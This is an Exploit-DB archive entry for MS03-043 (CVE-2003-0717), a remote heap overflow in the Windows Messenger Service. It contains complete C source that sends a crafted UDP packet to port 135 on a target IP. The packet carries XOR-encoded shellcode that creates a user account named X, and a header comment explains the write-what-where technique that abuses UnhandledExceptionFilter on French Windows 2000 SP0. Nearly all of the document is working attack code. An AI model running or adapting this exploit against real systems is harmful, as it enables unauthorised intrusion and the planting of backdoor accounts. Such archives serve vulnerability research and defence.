标题: Microsoft Windows Messenger Service (French) - Remote (MS03-043) EDB-ID: 135 CVE: 2003-0717 类型: REMOTE 平台: WINDOWS 发布日期: 2003-12-16 漏洞利用脚本: /*******************************************************************/
/*                [Crpt] MS03-043 - Messenger exploit by MrNice [Crpt]                      */
/*              ---------------------------------------------------------------                     */
/*                                                                                                                  */
/*               This Sploit use the unhandledexceptionfilter to redirect                      */
/*               the execution. When overflow occur we have :                                   */
/*                                                                                                                  */
/*               mov  eax,esi+8                                                      */
/*               mov  ecx,esi+Ch                                                                     */
/*               mov  dword ptr ds:[ecx],eax                                                     */
/*                                                                                                                  */
/*               so we control ecx and edx and we can write 4 bytes                            */
/*               where we want.                                                                              */
/*               If we try to write in a not writable memory zone, an                            */
/*               excepetion is lauched and unhandledexceptionfilter too.                     */
/*                               */
/*               A part of unhandledexceptionfilter :                                                 */
/*                                                                                                                  */
/*              mov eax, dword_0_77ECF44C(=where)                                      */
/*  cmp eax, ebx         */
/*  jz short loc_0_77EA734C                                      */
/*  push esi                                                                 */
/*  call eax                                                                */
/*            */
/*               So we write the "WHAT"(=jmp esi+4Ch) at                                        */
/*               the "WHERE"(=77EA734C here) and when the exception occur             */
/*               the unhandledexceptionfilter is lauched so when call eax                    */
/*               occur, it execute our code.                                                              */ 
/*                                                 */
/*               Thx Kotik who coded the proof of concept,and Metasploit                    */
/*               for Shellcode and last but not least kralor,Scurt from Crpt                   */
/*                                                                                                                  */
/*               Tested on win2k FR SP0                                                                 */
/*                                                                                                                  */
/*                                                                                                                  */
/*******************************************************************/

#ifdef _WIN32
#include <winsock.h>
#include <windows.h>
#pragma comment (lib,"ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#include <string.h>
#endif
static unsigned char packet_header[] =
"\x04\x00\x28\x00"
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0"
"\x4f\xb6\xe6\xfc"
"\xff\xff\xff\xff" 
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\xff\xff\xff\xff"
"\xff\xff\xff\xff"
"\x00\x00";


unsigned char field_header[] =
"\xff\xff\xff\xff"
"\x00\x00\x00\x00"
"\xff\xff\xff\xff";

unsigned char ShellCode[] = // XorDecode 23 bytes
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x96\xE2\xFA" 
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// AddUser:X Pass:X
"\xf0\x17\x7a\x16\x96\x1f\x70\x7e\x21\x96\x96\x96\x1f\x90\x1f\x55"
"\xc5\xfe\xe8\x4e\x74\xe5\x7e\x2b\x96\x96\x96\x1f\xd0\x9a\xc5\xfe"
"\x18\xd8\x98\x7a\x7e\x39\x96\x96\x96\x1f\xd0\x9e\xa7\x4d\xc5\xfe"
"\xe6\xff\xa5\xa4\xfe\xf8\xf3\xe2\xf7\xc2\x69\x46\x1f\xd0\x92\x1f"
"\x55\xc5\xfe\xc8\x49\xea\x5b\x7e\x1a\x96\x96\x96\x1f\xd0\x86\xc5"
"\xfe\x41\xab\x9a\x55\x7e\xe8\x96\x96\x96\x1f\xd0\x82\xa7\x56\xa7"
"\x4d\xd5\xc6\xfe\xe4\x96\xe5\x96\xfe\xe2\x96\xf9\x96\xfe\xe4\x96"
"\xf7\x96\xfe\xe5\x96\xe2\x96\xfe\xf8\x96\xff\x96\xfe\xfb\x96\xff"
"\x96\xfe\xd7\x96\xf2\x96\x1f\xf0\x8a\xc6\xfe\xce\x96\x96\x96\x1f"
"\x77\x1f\xd8\x8e\xfe\x96\x96\xca\x96\xc6\xc5\xc6\xc6\xc5\xc6\xc7"
"\xc7\x1f\x77\xc6\xc2\xc7\xc5\xc6\x69\xc0\x86\x1d\xd8\x8e\xdf\xdf"
"\xc7\x1f\x77\xfc\x97\xc7\xfc\x95\x69\xe0\x8a\xfc\x96\x69\xc0\x82"
"\x69\xc0\x9a\xc0\xfc\xa6\xcf\xf2\x1d\x97\x1d\xd6\x9a\x1d\xe6\x8a"
"\x3b\x1d\xd6\x9e\xc8\x54\x92\x96\xc5\xc3\xc0\xc1\x1d\xfa\xb2\x8e"
"\x1d\xd3\xaa\x1d\xc2\x93\xee\x97\x7c\x1d\xdc\x8e\x1d\xcc\xb6\x97"
"\x7d\x75\xa4\xdf\x1d\xa2\x1d\x97\x78\xa7\x69\x6a\xa7\x56\x3a\xae"
"\x76\xe2\x91\x57\x59\x9b\x97\x51\x7d\x64\xad\xea\xb2\x82\xe3\x77"
"\x1d\xcc\xb2\x97\x7d\xf0\x1d\x9a\xdd\x1d\xcc\x8a\x97\x7d\x1d\x92"
"\x1d\x97\x7e\x7d\x94\xa7\x56\x1f\x7c\xc9\xc8\xcb\xcd\x54\x9e\x96";


int main(int argc,char *argv[])
{
 int i, packet_size, fields_size, s,sp;
 unsigned char packet[8192];
 struct sockaddr_in addr;
 // A few conditions :
 // 0 <= strlen(from) + strlen(machine) <= 56
 // max fields size 3992
 char from[] = "RECCA";
 char machine[] = "ZEUS";
 char body[4096] = "*** MESSAGE ***";
#ifdef _WIN32
 WSADATA wsaData;
#endif

 if(argc<2)
    {
 printf("\t     [Crpt] MS03-043 - Messenger exploit by MrNice [Crpt]\n");
 printf("\t\t  www.coromputer.net && Undernet #coromputer\n");
                printf("---------------------------------------------------------------\n");
                printf("Tested on Windows 2000 French Sp0\n\n");
                printf("Downloaded from www.K-OTik.com\n");
                printf("Syntax : %s <ip>\n",argv[0]);
                return -1;
      }

#ifdef _WIN32
 if(WSAStartup(0x101,&wsaData)) {
  printf("error: unable to load winsock.\n");
                return -1;
  }
#endif

 memset(&addr,0x00,sizeof(addr));
 addr.sin_family = AF_INET;
 addr.sin_addr.s_addr = inet_addr(argv[1]);
 addr.sin_port = htons(135);

 memset(packet,0x00,sizeof(packet));
 packet_size = 0;

 memcpy(&packet[packet_size], packet_header, sizeof(packet_header) - 1);
 packet_size += sizeof(packet_header) - 1;

 i = strlen(from) + 1;
 *(unsigned int *)(&field_header[0]) = i;
 *(unsigned int *)(&field_header[8]) = i;
 memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
 packet_size += sizeof(field_header) - 1;
 strcpy(&packet[packet_size], from);
 packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

 i = strlen(machine) + 1;
 *(unsigned int *)(&field_header[0]) = i;
 *(unsigned int *)(&field_header[8]) = i;
 memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
 packet_size += sizeof(field_header) - 1;
 strcpy(&packet[packet_size], machine);
 packet_size += (((i - 1) >> 2) + 1) << 2; // padded to a multiple of 4

 printf("Max 'body' size (incl. terminal NULL char) = 
                %d\n", 3992 - packet_size + sizeof(packet_header) - sizeof(field_header));
 memset(body, 0x14, sizeof(body));
 
 
 body[2263]=(char)0x90;
 body[2264]=(char)0x90;
 body[2265]=(char)0x90;
 body[2266]=(char)0x90;
 
 body[2267]=(char)0x90;
 body[2268]=(char)0x90;
 
 //jmp 8 bytes plus loing
 body[2269]=(char)0xeb;
 body[2270]=(char)0x08;
 
 //WHAT CRYPTSVC.dll Win2k sp0 FRENCH
 body[2271]=(char)0x48;
 body[2272]=(char)0x65;
 body[2273]=(char)0x87;
 body[2274]=(char)0x76;
 
 //WHERE win2k sp0 FRENCH
 body[2275]=(char)0x4C;
 body[2276]=(char)0xF4;
 body[2277]=(char)0xEC;
 body[2278]=(char)0x77;
    
 for(i=2279;i<2606;i++)
  body[i]=ShellCode[i-2279];
 
 body[3992 - packet_size + sizeof(packet_header) - sizeof(field_header) - 1] = '\0';

 i = strlen(body) + 1;
 *(unsigned int *)(&field_header[0]) = i;
 *(unsigned int *)(&field_header[8]) = i;
 memcpy(&packet[packet_size], field_header, sizeof(field_header) - 1);
 packet_size += sizeof(field_header) - 1;
 strcpy(&packet[packet_size], body);
 packet_size += i;

 fields_size = packet_size - (sizeof(packet_header) - 1);
 *(unsigned int *)(&packet[40]) = time(NULL);
 *(unsigned int *)(&packet[74]) = fields_size;

 printf("Total length of strings = %d\nPacket size = %d\nFields size = %d\n", strlen(from) 
                + strlen(machine) + strlen(body), packet_size, fields_size);


 if ((s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
  printf("error: unable to create socket\n");
  return -1;
  }

 if (sendto(s, packet, packet_size, 0, (struct sockaddr *)&addr, sizeof(addr)) == -1) {
  printf("error: unable to send packet\n");
                return -1;
  }
 return 0;
}


// milw0rm.com [2003-12-16] URL: https://www.exploit-db.com/exploits/135